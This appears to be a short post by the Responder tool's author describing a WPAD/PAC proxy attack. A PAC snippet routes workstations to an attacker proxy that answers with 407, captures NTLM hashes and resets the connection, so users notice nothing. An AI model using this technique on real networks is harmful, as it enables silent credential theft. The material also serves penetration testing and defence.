Why not letting anyone get that wpad.dat configuration file for free, no authentication and then use another proxy server (not the wpad server) to force authentication, so Responder doesn't send an HTTP 401 response, but a 407 Proxy Authentication Required and then ditch the connection.
Thanks to PAC files, you can set fail-over proxy servers:
if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host))
if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
return 'PROXY 10.10.100.10:3128; PROXY 10.10.100.20:3141; DIRECT';
The last line means:
If the proxy server 10.10.100.10:3128 fails, then use this one: 10.10.100.20:3141 and if both fails, use a direct connection to the intranet or internet.
Using this functionality, we can make sure the WPAD server is not working -by not using the -w option- then any workstation using our PAC file will:
- Connect to 10.10.100.10:3128 and send a request with URL, cookies, headers.
- The Auth-Proxy module will respond with a 407 and request credentials.
- The workstation will transparently send its encrypted NTLMv1/NTLMv2 credentials and will get a TCP Reset from the proxy server right after that.
- This is done by using SO_LINGER which will send a RST as soon as close() is called, faking a proxy server failure.
- The workstation will then attempt the second proxy server 10.10.100.20:3141 which is offline.
- Finally the workstation will connect to the internet directly.
The user behind his desk using Internet Explorer has seen nothing and has internet access, we get his NTLM credentials.
This attack is highly effective and is included in the latest version 2.3.2:
This video demonstrates the concept on a 2012R2 PDC with default settings, someone simply open IE, Responder gets the credentials transparently, no password prompt: